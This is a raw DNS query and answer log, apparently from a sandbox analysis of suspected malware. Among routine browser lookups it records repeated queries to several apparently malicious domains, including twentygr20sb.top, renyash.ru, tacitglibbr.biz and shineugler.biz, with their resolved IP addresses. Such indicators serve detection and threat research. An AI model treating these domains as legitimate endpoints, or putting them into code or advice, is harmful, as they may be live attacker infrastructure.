Dec 16, 2024 13:17:13.794964075 CET	192.168.2.8	1.1.1.1	0xe63	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.894984961 CET	192.168.2.8	1.1.1.1	0x84fe	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.929522038 CET	192.168.2.8	1.1.1.1	0x1fd8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:13.932164907 CET	192.168.2.8	1.1.1.1	0x9486	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:13.951957941 CET	192.168.2.8	1.1.1.1	0xb23	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:14.036657095 CET	192.168.2.8	1.1.1.1	0x86fc	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.130395889 CET	192.168.2.8	1.1.1.1	0xcaef	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.136948109 CET	192.168.2.8	1.1.1.1	0x73ae	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.137778044 CET	192.168.2.8	1.1.1.1	0x71e3	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.296364069 CET	192.168.2.8	1.1.1.1	0x2080	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:14.303739071 CET	192.168.2.8	1.1.1.1	0xad03	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:14.304364920 CET	192.168.2.8	1.1.1.1	0x73f3	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:14.477556944 CET	192.168.2.8	1.1.1.1	0xbaf	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.478447914 CET	192.168.2.8	1.1.1.1	0x172c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.634736061 CET	192.168.2.8	1.1.1.1	0x6661	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:14.635047913 CET	192.168.2.8	1.1.1.1	0xfe76	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:14.794327021 CET	192.168.2.8	1.1.1.1	0x9ee0	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.947799921 CET	192.168.2.8	1.1.1.1	0x52fe	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.947928905 CET	192.168.2.8	1.1.1.1	0xb111	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.950253010 CET	192.168.2.8	1.1.1.1	0x2fa6	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.987334013 CET	192.168.2.8	1.1.1.1	0xfdcf	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:15.921515942 CET	192.168.2.8	1.1.1.1	0xfa5c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:16.116070986 CET	192.168.2.8	1.1.1.1	0xc81	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:18.013865948 CET	192.168.2.8	1.1.1.1	0x2b60	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.016047955 CET	192.168.2.8	1.1.1.1	0x186f	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.016377926 CET	192.168.2.8	1.1.1.1	0xf49f	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.154608011 CET	192.168.2.8	1.1.1.1	0xcdbf	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.202635050 CET	192.168.2.8	1.1.1.1	0xa30	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.260252953 CET	192.168.2.8	1.1.1.1	0xff5a	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.412633896 CET	192.168.2.8	1.1.1.1	0xce65	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:18.414472103 CET	192.168.2.8	1.1.1.1	0x3cc0	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:18.428011894 CET	192.168.2.8	1.1.1.1	0x30b0	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Dec 16, 2024 13:17:18.559452057 CET	192.168.2.8	1.1.1.1	0xb44e	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.560095072 CET	192.168.2.8	1.1.1.1	0x273c	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.569648981 CET	192.168.2.8	1.1.1.1	0xd1e3	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.699826002 CET	192.168.2.8	1.1.1.1	0x8cc1	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.700948954 CET	192.168.2.8	1.1.1.1	0x5c3	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.839265108 CET	192.168.2.8	1.1.1.1	0xb183	Standard query (0)	twitter.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:18.839742899 CET	192.168.2.8	1.1.1.1	0xdcbe	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:18.966953993 CET	192.168.2.8	1.1.1.1	0x234f	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:19.131534100 CET	192.168.2.8	1.1.1.1	0x3e0e	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:21.116971970 CET	192.168.2.8	1.1.1.1	0x6ef4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:33.493370056 CET	192.168.2.8	1.1.1.1	0x5069	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:33.493418932 CET	192.168.2.8	1.1.1.1	0xff8c	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 16, 2024 13:17:35.980850935 CET	192.168.2.8	1.1.1.1	0x64f3	Standard query (0)	home.twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:35.980914116 CET	192.168.2.8	1.1.1.1	0x7fc2	Standard query (0)	home.twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 13:17:39.516182899 CET	192.168.2.8	1.1.1.1	0x12a	Standard query (0)	home.twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:39.516182899 CET	192.168.2.8	1.1.1.1	0x3df4	Standard query (0)	home.twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 13:17:39.561367989 CET	192.168.2.8	1.1.1.1	0xfbf8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:39.600200891 CET	192.168.2.8	1.1.1.1	0x7f40	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:39.608577967 CET	192.168.2.8	1.1.1.1	0x3244	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:39.791457891 CET	192.168.2.8	1.1.1.1	0xa186	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:39.799213886 CET	192.168.2.8	1.1.1.1	0xdb84	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:39.951961040 CET	192.168.2.8	1.1.1.1	0x620a	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:41.132603884 CET	192.168.2.8	1.1.1.1	0xd48c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:43.266805887 CET	192.168.2.8	1.1.1.1	0x8ec8	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:43.292936087 CET	192.168.2.8	1.1.1.1	0xffda	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:43.360995054 CET	192.168.2.8	1.1.1.1	0x2eac	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:43.455117941 CET	192.168.2.8	1.1.1.1	0x5b9e	Standard query (0)	twitter.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:43.460026979 CET	192.168.2.8	1.1.1.1	0xc34a	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:43.593616009 CET	192.168.2.8	1.1.1.1	0xb138	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Dec 16, 2024 13:17:46.136259079 CET	192.168.2.8	1.1.1.1	0xda7c	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:17:57.370867014 CET	192.168.2.8	1.1.1.1	0xef83	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:57.510874033 CET	192.168.2.8	1.1.1.1	0xe9e7	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:18:04.284365892 CET	192.168.2.8	1.1.1.1	0xd7db	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:04.284457922 CET	192.168.2.8	1.1.1.1	0xccac	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:04.868581057 CET	192.168.2.8	1.1.1.1	0xdc01	Standard query (0)	twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:04.868581057 CET	192.168.2.8	1.1.1.1	0xae4d	Standard query (0)	twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 13:18:07.856245041 CET	192.168.2.8	1.1.1.1	0xb40a	Standard query (0)	twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:07.856291056 CET	192.168.2.8	1.1.1.1	0x9875	Standard query (0)	twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 13:18:09.069922924 CET	192.168.2.8	1.1.1.1	0x51e1	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:09.209090948 CET	192.168.2.8	1.1.1.1	0xa0e6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:18:10.175540924 CET	192.168.2.8	1.1.1.1	0xcd27	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:11.281709909 CET	192.168.2.8	1.1.1.1	0x96dc	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:11.281785011 CET	192.168.2.8	1.1.1.1	0x69c8	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:11.975588083 CET	192.168.2.8	1.1.1.1	0x1876	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:12.260222912 CET	192.168.2.8	1.1.1.1	0x1876	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:19.632622004 CET	192.168.2.8	1.1.1.1	0xc3bc	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:19.773201942 CET	192.168.2.8	1.1.1.1	0x1e33	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:18:20.698857069 CET	192.168.2.8	1.1.1.1	0x3357	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:20.698972940 CET	192.168.2.8	1.1.1.1	0xbca5	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:21.020975113 CET	192.168.2.8	1.1.1.1	0x4395	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:22.977755070 CET	192.168.2.8	1.1.1.1	0x659c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:22.977870941 CET	192.168.2.8	1.1.1.1	0x37f2	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 16, 2024 13:18:25.524610996 CET	192.168.2.8	1.1.1.1	0xa3f7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.524699926 CET	192.168.2.8	1.1.1.1	0xbb1a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:25.524863958 CET	192.168.2.8	1.1.1.1	0x287f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.524945021 CET	192.168.2.8	1.1.1.1	0x3d57	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:25.531677008 CET	192.168.2.8	1.1.1.1	0xec12	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.531786919 CET	192.168.2.8	1.1.1.1	0x43a6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:25.637522936 CET	192.168.2.8	1.1.1.1	0x5c58	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.637612104 CET	192.168.2.8	1.1.1.1	0x6e2f	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:25.641009092 CET	192.168.2.8	1.1.1.1	0x4800	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.641146898 CET	192.168.2.8	1.1.1.1	0x20ee	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:25.804358006 CET	192.168.2.8	1.1.1.1	0xff46	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.804441929 CET	192.168.2.8	1.1.1.1	0x37dd	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:25.975394964 CET	192.168.2.8	1.1.1.1	0xe377	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.975394964 CET	192.168.2.8	1.1.1.1	0x1ea9	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:29.382985115 CET	192.168.2.8	1.1.1.1	0xece3	Standard query (0)	assets2.msn.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:29.383081913 CET	192.168.2.8	1.1.1.1	0xdd2	Standard query (0)	assets2.msn.com	65	IN (0x0001)	false
Dec 16, 2024 13:18:37.701833010 CET	192.168.2.8	1.1.1.1	0x47a	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:37.841655016 CET	192.168.2.8	1.1.1.1	0x13fb	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:19:02.138851881 CET	192.168.2.8	1.1.1.1	0x2592	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:20:22.991041899 CET	192.168.2.8	1.1.1.1	0x5f4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:22.991041899 CET	192.168.2.8	1.1.1.1	0x1883	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 13:20:23.374427080 CET	192.168.2.8	1.1.1.1	0x7977	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:23.512780905 CET	192.168.2.8	1.1.1.1	0x9dca	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:23.652529001 CET	192.168.2.8	1.1.1.1	0x8617	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:20:24.008375883 CET	192.168.2.8	1.1.1.1	0x8802	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:24.008493900 CET	192.168.2.8	1.1.1.1	0x193c	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 16, 2024 13:20:24.879776001 CET	192.168.2.8	1.1.1.1	0xc28e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:33.293735981 CET	192.168.2.8	1.1.1.1	0x5cb5	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:33.293843031 CET	192.168.2.8	1.1.1.1	0x6d3b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 13:20:34.230406046 CET	192.168.2.8	1.1.1.1	0xb80c	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:34.230526924 CET	192.168.2.8	1.1.1.1	0x364b	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 16, 2024 13:20:42.707389116 CET	192.168.2.8	1.1.1.1	0x6fb0	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:20:43.948076010 CET	192.168.2.8	1.1.1.1	0x7349	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:31.942089081 CET	192.168.2.8	1.1.1.1	0xba27	Standard query (0)	twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:31.942266941 CET	192.168.2.8	1.1.1.1	0x8dfe	Standard query (0)	twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 13:21:33.278275967 CET	192.168.2.8	1.1.1.1	0xb53f	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:33.278398037 CET	192.168.2.8	1.1.1.1	0xa713	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 16, 2024 13:21:35.099437952 CET	192.168.2.8	1.1.1.1	0xcb3c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:35.102848053 CET	192.168.2.8	1.1.1.1	0x9a51	Standard query (0)	home.twentygr20sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:35.102899075 CET	192.168.2.8	1.1.1.1	0xe37b	Standard query (0)	home.twentygr20sb.top	28	IN (0x0001)	false
Dec 16, 2024 13:21:36.799429893 CET	192.168.2.8	1.1.1.1	0x1518	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.799544096 CET	192.168.2.8	1.1.1.1	0x24f5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 13:21:36.802987099 CET	192.168.2.8	1.1.1.1	0xabca	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.803093910 CET	192.168.2.8	1.1.1.1	0x1fa6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 13:21:36.803257942 CET	192.168.2.8	1.1.1.1	0xbd20	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.803353071 CET	192.168.2.8	1.1.1.1	0x96d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 13:22:03.044718981 CET	192.168.2.8	1.1.1.1	0x65cd	Standard query (0)	749858cm.renyash.ru	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:40.375997066 CET	192.168.2.8	1.1.1.1	0x7a09	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:40.376502991 CET	192.168.2.8	1.1.1.1	0xda	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:40.608850956 CET	192.168.2.8	1.1.1.1	0xb932	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:22:41.610949993 CET	192.168.2.8	1.1.1.1	0x572c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:45.402539015 CET	192.168.2.8	1.1.1.1	0xbee8	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.346725941 CET	192.168.2.8	1.1.1.1	0xbbf	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.371561050 CET	192.168.2.8	1.1.1.1	0x47fb	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:23:17.463052988 CET	192.168.2.8	1.1.1.1	0x7161	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.502718925 CET	192.168.2.8	1.1.1.1	0x77aa	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.590714931 CET	192.168.2.8	1.1.1.1	0xf839	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:23:17.630974054 CET	192.168.2.8	1.1.1.1	0x6a4	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.630974054 CET	192.168.2.8	1.1.1.1	0xe1bf	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.632313013 CET	192.168.2.8	1.1.1.1	0x66b5	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.657838106 CET	192.168.2.8	1.1.1.1	0x11d	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 16, 2024 13:23:17.657838106 CET	192.168.2.8	1.1.1.1	0xea91	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:23:17.755989075 CET	192.168.2.8	1.1.1.1	0xb975	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.808707952 CET	192.168.2.8	1.1.1.1	0xf7ab	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.808861971 CET	192.168.2.8	1.1.1.1	0xc561	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.909224987 CET	192.168.2.8	1.1.1.1	0x7f6e	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:23:17.954087019 CET	192.168.2.8	1.1.1.1	0x2322	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:23:17.975394011 CET	192.168.2.8	1.1.1.1	0x4b0b	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:23:18.673933983 CET	192.168.2.8	1.1.1.1	0x87c1	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:23:18.815043926 CET	192.168.2.8	1.1.1.1	0x236c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.846138000 CET	192.168.2.8	1.1.1.1	0x315	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.846138000 CET	192.168.2.8	1.1.1.1	0xfef4	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.846409082 CET	192.168.2.8	1.1.1.1	0x9c6b	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.984232903 CET	192.168.2.8	1.1.1.1	0xc457	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.984411955 CET	192.168.2.8	1.1.1.1	0x18f8	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.985160112 CET	192.168.2.8	1.1.1.1	0xa148	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.124044895 CET	192.168.2.8	1.1.1.1	0xe39c	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Dec 16, 2024 13:23:21.124254942 CET	192.168.2.8	1.1.1.1	0xae07	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Dec 16, 2024 13:23:21.124916077 CET	192.168.2.8	1.1.1.1	0x180a	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Dec 16, 2024 13:23:21.262573957 CET	192.168.2.8	1.1.1.1	0xd7a3	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.265053034 CET	192.168.2.8	1.1.1.1	0xf839	Standard query (0)	twitter.com	28	IN (0x0001)	false
Dec 16, 2024 13:23:21.269437075 CET	192.168.2.8	1.1.1.1	0x88bd	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 16, 2024 13:23:21.403275967 CET	192.168.2.8	1.1.1.1	0x1faf	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.603986979 CET	192.168.2.8	1.1.1.1	0x4770	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Dec 16, 2024 13:23:24.377284050 CET	192.168.2.8	1.1.1.1	0x9771	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:23:35.792191982 CET	192.168.2.8	1.1.1.1	0xb27a	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:35.792292118 CET	192.168.2.8	1.1.1.1	0xf253	Standard query (0)	browser.events.data.msn.com	65	IN (0x0001)	false
Dec 16, 2024 13:23:35.957778931 CET	192.168.2.8	1.1.1.1	0x21fa	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 16, 2024 13:23:57.244441032 CET	192.168.2.8	1.1.1.1	0x96ef	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 13:16:26.442080021 CET	1.1.1.1	192.168.2.8	0xcd1d	No error (0)	shineugler.biz		172.67.177.250	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:16:26.442080021 CET	1.1.1.1	192.168.2.8	0xcd1d	No error (0)	shineugler.biz		104.21.51.88	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:16:34.660732031 CET	1.1.1.1	192.168.2.8	0xd6d1	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:16:34.660732031 CET	1.1.1.1	192.168.2.8	0xd6d1	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:16:55.582756042 CET	1.1.1.1	192.168.2.8	0xe47b	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:16:55.583455086 CET	1.1.1.1	192.168.2.8	0x4948	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 16, 2024 13:17:02.596880913 CET	1.1.1.1	192.168.2.8	0xf73d	No error (0)	749858cm.renyash.ru		172.67.220.198	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:02.596880913 CET	1.1.1.1	192.168.2.8	0xf73d	No error (0)	749858cm.renyash.ru		104.21.38.84	A (IP address)	IN (0x0001)	false
